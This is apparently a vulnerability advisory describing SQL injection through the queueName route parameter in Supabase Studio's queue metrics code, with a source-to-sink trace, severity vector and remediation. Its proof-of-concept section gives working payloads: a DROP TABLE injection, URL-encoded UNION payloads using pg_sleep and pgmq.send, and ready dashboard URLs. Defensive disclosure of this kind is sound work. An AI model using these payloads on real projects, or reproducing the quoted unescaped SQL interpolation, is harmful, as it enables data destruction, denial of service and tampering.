SQL Injection via queueName in getDatabaseQueuesMetrics
SQL Injection via queueName in getDatabaseQueuesMetrics
Severity rating
CriticalNo numeric base score was published with this disclosure.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Summary
Source
QueueTab
supabase/apps/studio/components/interfaces/Integrations/Queues/QueueTab.tsx:35
Sink
getDatabaseQueuesMetrics
supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:47
getDatabaseQueuesMetrics builds SQL statements with queueName interpolated directly into table identifiers and literals. The queueName value originates from the route parameter (/integrations/queues/queues/:queueName) which is attacker-controllable. No validation or quoting is applied before the SQL is sent to executeSql, allowing crafted queue names to break out of the identifier context and execute arbitrary SQL statements against the project database.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- Low
- Privileges requiredPR
- Low
- User interactionUI
- Required
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsupabase/
apps/ studio/ components/ interfaces/ Integrations/ Queues/ QueueTab.tsx:35 QueueTab
- Step 01supabase/
apps/ studio/ data/ database-queues/ database-queues-metrics-query.ts:44 getDatabaseQueuesMetricsinvokesexecuteSqlwith a SQL string built from the queue name.typescript const { result } = await executeSql({ - Step 02supabase/
apps/ studio/ data/ database-queues/ database-queues-metrics-query.ts:47 Queue name flows into
preciseMetricsSqlQuerywithout validation.typescript sql: preciseMetricsSqlQuery(queueName), - Step 03supabase/
apps/ studio/ data/ database-queues/ database-queues-metrics-query.ts:23 The template literal concatenates
queueNamedirectly into the identifier, enabling injection.typescript "pgmq"."q_${queueName}"; - Step 04supabase/
apps/ studio/ components/ interfaces/ Integrations/ Queues/ QueueTab.tsx:35 queueNameoriginates from the URL parameter, which can be controlled by attackers.typescript const { childId: queueName, ref } = useParams() - Sinksupabase/
apps/ studio/ data/ database-queues/ database-queues-metrics-query.ts:47 getDatabaseQueuesMetrics
Impact
Reported impact
Arbitrary SQL execution, including data exfiltration, table deletion, privilege escalation, or extension installation.
Attack surface
Supabase Studio queue detail pages (/project/<ref>/integrations/queues/queues/:queueName) loaded by authenticated project members—the route binds the attacker-controlled queueName directly into privileged executeSql calls.
Preconditions
The attacker needs a regular user account to craft URLs or entice an administrator to click the link. The target user must have access to the queue metrics page (standard for project members).
Attack path
- 1
The attacker crafts a queue name payload:
foo"; DROP TABLE public.users; --. - 2
Encode the payload for URL transmission and embed it within the queues route.
- 3
Send the crafted link to an administrator or lower-privileged user.
- 4
Upon visiting the link, the browser executes
getDatabaseQueuesMetricsusingqueueNamefrom the URL. - 5
Because the function interpolates
queueNamedirectly, the injected SQL executes with service-role rights.
Proof of concept
- 01
Environment setup
Requirements: Ubuntu 22.04 LTS (or any OS with Node.js 18+, npm, and git installed).
Install dependencies:
bash git clone https://github.com/supabase/supabase.git cd supabase/apps/studio npm install npm run dev - 02
Target configuration
The Studio app runs on
http://localhost:3000. Ensure your Supabase backend is configured (or mock the API). For PoC, a development project with queues enabled is sufficient. - 03
Exploit delivery
Authenticate as any tenant user with access to the project dashboard.
Manually craft the queue URL without creating such a queue:
text http://localhost:3000/project/<projectRef>/integrations/queues/queues/foo";%20DROP%20TABLE%20public.users;%20--To reproduce the production-reported slowdown, first create a disposable queue named
foovia Add queue, then browse directly to the crafted queue detail route. Supply this queueName payload to UNION in apg_sleep(50)call:text foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--Hosted dashboard URL template:
text https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--For write-oriented exploitation, UNION in a direct call to
pgmq.sendto enqueue attacker data without interacting with the UI:sql -- Injection payload (queueName = foo" ...) UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id, now() AS enqueued_at, 0::int AS read_ct, now() AS vt, '{"attacker":true}'::jsonb AS message, NULL::timestamptz AS archived_at--Raw queueName value:
text foo" UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id, now() AS enqueued_at, 0::int AS read_ct, now() AS vt, '{"attacker":true}'::jsonb AS message, NULL::timestamptz AS archived_at--Encoded payload and dashboard URL:
text foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at-- https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at-- - 04
Expected response
When the page loads, Studio invokes
getDatabaseQueuesMetrics, executing the SQL:sql SELECT COUNT(*) AS row_count FROM "pgmq"."q_foo"; DROP TABLE public.users; --";The
pg_sleep(50)payload keeps the request inflight for ~50 seconds, demonstrating a trivial blocking DoS. Thepgmq.sendUNION returns a synthesized queue row containing the injected JSON, proving arbitrary SQL that enqueues attacker-controlled messages. - 05
Outcome
Observed effects range from destructive DDL (dropping
public.users), to prolonged availability impact viapg_sleep, to silent data integrity violations by writing arbitrary messages into tenant queues.
Remediation
Guidance
Sanitize SQL identifiers: Introduce reusable helpers (formatQueueTableIdentifier, formatQueueLiteral) to safely quote queue names/body data. Refactor queries: Replace string interpolation with helper functions to prevent injection across all PGMQ operations.
"pgmq"."q_${queueName}";relname = 'q_${queueName}'sql: `select * from pgmq.send( '${queueName}', '${payload}', ${delay})`const queueIdentifier = formatQueueTableIdentifier(queueName) const relnameLiteral = formatQueueLiteral(queueName, { prefix: 'q_' }) sql: `select * from pgmq.send(${formatQueueLiteral(queueName)}, ${formatQueuePayloadLiteral(payload)}, ${delay})`
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.

